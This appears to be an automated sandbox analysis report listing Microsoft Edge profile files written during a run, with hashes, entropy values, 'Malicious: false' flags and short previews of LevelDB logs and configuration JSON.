SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jQneDpWne6mL:TO8D4jJ/6Up+5p/
MD5:	BDB1E8CFE19441A2A6ED0312AFAA7721
SHA1:	E11A2B96F706BE83FE0515C8E7CBD0ED0CA3CFFB
SHA-256:	230A9A396EE8FD0169215C82BC5B99EC5A3D0A3B78FD49EA9D29022233B2A623
SHA-512:	E2AC7243300617062C3DD38788F055D2C4E00E7DF0EA50628299525F9DF1660D79241BC0DD33AB873A9CB2324488B2F91C4AA30D1738F3A2FA989DC31F2DD8A0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354153295355461
Encrypted:	false
SSDEEP:	6144:PA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:PFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	1601798F20CF54C69F4CB9FEF0801D9E
SHA1:	DB272B26BEEDDE051BC2934CBFB9A06704051A92
SHA-256:	7F64C403D9BCCBA91E450B5D68BA6470F9C56ECF2A2648BA4F2301D0AE936A40
SHA-512:	41D7E450751CE53C6DFE31E400AF04450DB0512E539AE01DBDF852A81CC137D999E0306B354399AB54B9127B2413720BE16AFB0DD3B94618B40FDDF082EA95F5
Malicious:	false
Preview:	...m.................DB_VERSION.1.K..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376975986381326..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.186080740838954
Encrypted:	false
SSDEEP:	6:HM1CHhJ23oH+Tcwtk2WwnvB2KLlV7m2Iq2PCHhJ23oH+Tcwtk2WwnvIFUv:gYebkxwnvFL62IvBYebkxwnQFUv
MD5:	43E7BD4A4DB4540264182C2AE257AAAB
SHA1:	7B472073BB0927DC8E54C55B984BE905C4185669
SHA-256:	197731B54C82D4ADE4988AD218597096916A9029B9E45C538802056458582279
SHA-512:	EBC3E334B203C15C3D8E45DAB46602EE79EB0D14CBAC867FE9E6EDEC23975E85A65DBA623C7671EBA562698B1EB8A44227E10B9645BD2B74AD657455E9EC78CC
Malicious:	false
Preview:	2024/11/24-21:39:43.437 2130 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/24-21:39:43.454 2130 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324604298090405
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rl:C1gAg1zfvt
MD5:	E1BE1F3C9512458832D53DFD1D64211B
SHA1:	9515639C8BE0F34DF93221FC938B3F8450337B9D
SHA-256:	D3C146CE82F826D31DF59F8B579F645B3EBB53056A76CA567209CB35A023AC97
SHA-512:	5A5957D954A1602CDBCCC4B27FD44E73C347BE508E43DF5D4E142A91828C1EB7CD95F2CF4FFCD2C11368C90EFF8722EF4BBBB772875593851188468ED416FCD4
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2751772354646045
Encrypted:	false
SSDEEP:	6:Hgu3+q2PCHhJ23oH+Tcwt8aPrqIFUt8YqlF3JZmw+Y0u3VkwOCHhJ23oH+Tcwt8h:YvBYebL3FUt8jlX/+luF56YebQJ
MD5:	B507EDAA3F224BBADEF16864A3508876
SHA1:	E1AB70B9A1F26097440CA11C8849A28E153E87B3
SHA-256:	61B4F5A9E56CD6F56EEAD8136DC0E6F2085F3990BE1A8C919ED8658CDE7811A9
SHA-512:	0F7E97FFB34E4E7127167CBB39B5C1FCEA809FDF9C98A532E7BBA198BD89FFC78CE1102874DC09D1E2F2989790951686E970E5EF4CDB1FBF5702383DEE8E3597
Malicious:	false
Preview:	2024/11/24-21:39:37.868 778 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/24-21:39:37.924 778 Recovering log #3.2024/11/24-21:39:37.925 778 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2751772354646045
Encrypted:	false
SSDEEP:	6:Hgu3+q2PCHhJ23oH+Tcwt8aPrqIFUt8YqlF3JZmw+Y0u3VkwOCHhJ23oH+Tcwt8h:YvBYebL3FUt8jlX/+luF56YebQJ
MD5:	B507EDAA3F224BBADEF16864A3508876
SHA1:	E1AB70B9A1F26097440CA11C8849A28E153E87B3
SHA-256:	61B4F5A9E56CD6F56EEAD8136DC0E6F2085F3990BE1A8C919ED8658CDE7811A9
SHA-512:	0F7E97FFB34E4E7127167CBB39B5C1FCEA809FDF9C98A532E7BBA198BD89FFC78CE1102874DC09D1E2F2989790951686E970E5EF4CDB1FBF5702383DEE8E3597
Malicious:	false
Preview:	2024/11/24-21:39:37.868 778 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/24-21:39:37.924 778 Recovering log #3.2024/11/24-21:39:37.925 778 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.279890582440072
Encrypted:	false
SSDEEP:	6:Ht2r+q2PCHhJ23oH+Tcwt865IFUt8Yt2bZmw+Yt2rVkwOCHhJ23oH+Tcwt86+ULJ:N2SvBYeb/WFUt8q2b/+q2x56Yeb/+SJ
MD5:	32596570560D3314353A491216FBA5DD
SHA1:	7F41AC054D4A03EAFF49E700D647EDDEDFEAB79E
SHA-256:	0A76423DBAFC183343E4C56FBD2E3EB514648181AA07EF62A44A827CAE29549F
SHA-512:	8785AE38EF5B5C6B297E3E09D980D610DF1B4FC0ACF313555287BC632B523B36FD1579B88D39EA10D8A96476A94239DD496D690A1CD433AD020D77CE47F15C46
Malicious:	false
Preview:	2024/11/24-21:39:37.957 778 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/24-21:39:37.957 778 Recovering log #3.2024/11/24-21:39:37.957 778 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.279890582440072
Encrypted:	false
SSDEEP:	6:Ht2r+q2PCHhJ23oH+Tcwt865IFUt8Yt2bZmw+Yt2rVkwOCHhJ23oH+Tcwt86+ULJ:N2SvBYeb/WFUt8q2b/+q2x56Yeb/+SJ
MD5:	32596570560D3314353A491216FBA5DD
SHA1:	7F41AC054D4A03EAFF49E700D647EDDEDFEAB79E
SHA-256:	0A76423DBAFC183343E4C56FBD2E3EB514648181AA07EF62A44A827CAE29549F
SHA-512:	8785AE38EF5B5C6B297E3E09D980D610DF1B4FC0ACF313555287BC632B523B36FD1579B88D39EA10D8A96476A94239DD496D690A1CD433AD020D77CE47F15C46
Malicious:	false
Preview:	2024/11/24-21:39:37.957 778 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/24-21:39:37.957 778 Recovering log #3.2024/11/24-21:39:37.957 778 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.266192356444288
Encrypted:	false
SSDEEP:	6:HGq2PCHhJ23oH+Tcwt8NIFUt8Y/Zmw+YikwOCHhJ23oH+Tcwt8+eLJ:mvBYebpFUt80/+T56YebqJ
MD5:	1EF69E50EB90ED6BC9CF6C77B5B0AC27
SHA1:	0A823E9FF59D1703AFACC160A4DA55F5BEA30AC8
SHA-256:	AA0E679DAC2D439506250C4AA5C31CE38D286429FFCF37AB6B279521A53D9CD4
SHA-512:	DD52696F3610DBE01A39B23C6A9E0C1114489F8681B094E4885774C42EA773B985C9043EE3816EA31B56567FF5673B1823525A44A02FA9F1DDCD59BD0F636095
Malicious:	false
Preview:	2024/11/24-21:39:38.595 16c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/24-21:39:38.595 16c4 Recovering log #3.2024/11/24-21:39:38.596 16c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.266192356444288
Encrypted:	false
SSDEEP:	6:HGq2PCHhJ23oH+Tcwt8NIFUt8Y/Zmw+YikwOCHhJ23oH+Tcwt8+eLJ:mvBYebpFUt80/+T56YebqJ
MD5:	1EF69E50EB90ED6BC9CF6C77B5B0AC27
SHA1:	0A823E9FF59D1703AFACC160A4DA55F5BEA30AC8
SHA-256:	AA0E679DAC2D439506250C4AA5C31CE38D286429FFCF37AB6B279521A53D9CD4
SHA-512:	DD52696F3610DBE01A39B23C6A9E0C1114489F8681B094E4885774C42EA773B985C9043EE3816EA31B56567FF5673B1823525A44A02FA9F1DDCD59BD0F636095
Malicious:	false
Preview:	2024/11/24-21:39:38.595 16c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/24-21:39:38.595 16c4 Recovering log #3.2024/11/24-21:39:38.596 16c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037045
Encrypted:	false
SSDEEP:	3:5/Z/ntFlljq7A/mhWJFuQ3yy7IOWUJlv4/dweytllrE9SFcTp4AGbNCV9RUI6:5/K75fOW/d0Xi99pEYc
MD5:	2CC0EB6C69886B1F349E3F71D755D624
SHA1:	E9692809CC945F830BDFC17B8E995DD62BE70CA4
SHA-256:	4B919F56834982FF9003E1D448FD4B49537DB5FBAE7C019CFF1DF456FFD55D1E
SHA-512:	8EEFFCD7498CF8C812D1A004C4B44484D907E22AB606FC6FCD1775EF683C4FBD2EE0CABF96C1BCECA5C2AE3A71F02F74C027F972F10E9C8634171901F003C0A6
Malicious:	false
Preview:	..............D....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480765067883114
Encrypted:	false
SSDEEP:	384:aj9P0tcAjl+QkQerDP/Kbt+773pL9hCgam6ItRKToaAu:adTKl+e2DP/P7Pv9RKcC
MD5:	206D5391A36486D9E39C96DC9C6995AB
SHA1:	0D3ECF912D29427827B87521F9010AF7E2D84EF0
SHA-256:	CE70C08E22AFBECDF3D344FCC276BEDA4A4CA9B8C1EAF8DCA15CB663943F7B6F
SHA-512:	26AE30E175400A8921499A5B76D4A402B8CBC014BE48BE68D79230380C579657C3FBFC2A550ECF391EAC64672FF83FEB577FA30C5F33DF1C256B5A271F71EDF1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.28176672760761
Encrypted:	false
SSDEEP:	12:N6VvBYeb8rcHEZrELFUt8Erg/+ErI56Yeb8rcHEZrEZSJ:6BYeb8nZrExg8EKu6Yeb8nZrEZe
MD5:	4C2688828158908DE2CD070AFA283DAD
SHA1:	3069A8C4B9CFB942B63690851C3E26D81246FB5F
SHA-256:	58F37A59C9AEDDC3E56D2EF1CF3724CDCE784123730510107941274AACDDE8A1
SHA-512:	B19E828433FF611FB5F2CD0F9CA57A2D6BC54F82F28CF685BB97F2639440DB1C4E2648B098E67215B37CD7F9BA54815FDDB10F9E83F479E7A1FB0060BB457159
Malicious:	false
Preview:	2024/11/24-21:39:43.062 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/24-21:39:43.063 1f04 Recovering log #3.2024/11/24-21:39:43.063 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.28176672760761
Encrypted:	false
SSDEEP:	12:N6VvBYeb8rcHEZrELFUt8Erg/+ErI56Yeb8rcHEZrEZSJ:6BYeb8nZrExg8EKu6Yeb8nZrEZe
MD5:	4C2688828158908DE2CD070AFA283DAD
SHA1:	3069A8C4B9CFB942B63690851C3E26D81246FB5F
SHA-256:	58F37A59C9AEDDC3E56D2EF1CF3724CDCE784123730510107941274AACDDE8A1
SHA-512:	B19E828433FF611FB5F2CD0F9CA57A2D6BC54F82F28CF685BB97F2639440DB1C4E2648B098E67215B37CD7F9BA54815FDDB10F9E83F479E7A1FB0060BB457159
Malicious:	false
Preview:	2024/11/24-21:39:43.062 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/24-21:39:43.063 1f04 Recovering log #3.2024/11/24-21:39:43.063 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1472
Entropy (8bit):	5.669299765488198
Encrypted:	false
SSDEEP:	24:80ZWb+wlwiZe+sLXZWwW2sFV03y1x4WdMyUWAPUlHakTN5zgFHHmi28/V:80ZilwiEDXZWv2iV03Sx4WWyUPPe+HHn
MD5:	114826768634DD134065D5874FB4D61E
SHA1:	95936A9F018BECDD409B08EE8FF9702F8A6FC32A
SHA-256:	D842B6B28137BC2D2C232730CA4F72A40F8906DAD9F83CEC3758875401BE0982
SHA-512:	7BBA69786B7578374A6A6FE857763BCE4EF4DA299F8813A00EE6C6BB8F325598F7ED7AF72C0486D312A066897B41D6B561CACFB7AC2809F5502D9673B5AA6453
Malicious:	false
